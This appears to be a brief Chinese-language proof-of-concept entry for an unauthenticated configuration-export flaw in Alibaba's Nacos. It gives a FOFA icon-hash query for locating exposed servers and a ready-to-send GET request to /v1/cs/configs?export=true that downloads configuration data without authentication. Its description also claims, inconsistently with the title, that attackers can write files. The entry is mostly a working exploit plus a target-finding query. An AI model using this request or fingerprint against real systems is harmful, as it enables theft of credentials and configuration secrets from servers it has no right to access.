Nacos未授权下载配置信息

2024-06-05 Nacos PoC Public

Description

Nacos是阿里开放的一款中间件,它主要提供三种功能:持久化节点注册,非持久化节点注册和配置管理。系统存在未鉴权的接口,攻击者可直接写入文件

PoC

# Nacos未授权下载配置信息



Nacos未授权下载配置信息



## fofa



```javascript

icon_hash="13942501"

```



## poc



```java

GET /v1/cs/configs?export=true&group=&tenant=&appName=&ids=&dataId= HTTP/1.1

Host: 

```



![图片](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202409191401675.png)

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